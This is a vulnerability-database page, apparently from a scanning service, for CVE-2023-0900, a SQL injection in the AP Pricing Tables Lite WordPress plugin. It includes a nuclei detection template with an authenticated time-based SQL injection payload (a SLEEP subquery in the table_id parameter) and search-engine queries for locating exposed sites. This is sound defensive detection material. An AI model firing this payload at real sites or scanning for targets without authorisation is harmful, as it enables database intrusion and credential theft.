HexBrain

Browse / CVEs / CVE-2023-0900

CVE-2023-0900· wpdevart / pricing table builder· CWE-89

AP Pricing Tables Lite <= 1.1.6 - SQL Injection

highseverity
7.2CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high-privilege users such as admins.

Impact

Authenticated high-privilege attackers (admin) can exploit SQL injection through the table_id parameter in the copy_table action to extract database contents, potentially stealing user credentials and compromising the WordPress database.

Fix

Update AP Pricing Tables Lite plugin to a version newer than 1.1.6 that uses parameterized queries or prepared statements for the table_id parameter in admin-ajax.php.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=ap-pricing-tables-lite&message=1 ; @timeout: 20s
Positive when: duration_3>=5 and status_code_3 == 200 and contains(body_3, "Security check") and contains(body_2, "ap-pricing-tables-lite")

Run it with nuclei: nuclei -id CVE-2023-0900 -u <target>

The full check
id: CVE-2023-0900

info:
  name: AP Pricing Tables Lite <= 1.1.6 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high-privilege users such as admins.
  impact: |
    Authenticated high-privilege attackers (admin) can exploit SQL injection through the table_id parameter in the copy_table action to extract database contents, potentially stealing user credentials and compromising the WordPress database.
  remediation: |
    Update AP Pricing Tables Lite plugin to a version newer than 1.1.6 that uses parameterized queries or prepared statements for the table_id parameter in admin-ajax.php.
  reference:
    - https://wpscan.com/vulnerability/f601e637-a486-4f3a-9077-4f294ace7ea1
    - https://github.com/WPPlugins/ap-pricing-tables-lite
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-0900
    cwe-id: CWE-89
    epss-score: 0.03229
    epss-percentile: 0.8836
    cpe: cpe:2.3:a:wpdevart:pricing_table_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wpdevart
    product: pricing_table_builder
    framework: wordpress
    shodan-query: http.html:wp-content/plugins/ap-pricing-tables-lite
    fofa-query: body=wp-content/plugins/ap-pricing-tables-lite
    publicwww-query: "wp-content/plugins/ap-pricing-tables-lite"
  tags: time-based-sqli,cve2023,cve,sqli,wordpress,wp-plugin,wp,authenticated,wpscan,ap-pricing-tables-lite,wpdevart,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=ap-pricing-tables-lite&message=1 HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded

        action=backend_ajax&_action=copy_table&table_id=1+AND+(SELECT+2035+FROM+(SELECT(SLEEP(10)))A)&_wpnonce={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_3>=5'
          - 'status_code_3 == 200'
          - 'contains(body_3, "Security check")'
          - 'contains(body_2, "ap-pricing-tables-lite")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '_wpnonce=([0-9a-z]+)">Log Out'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from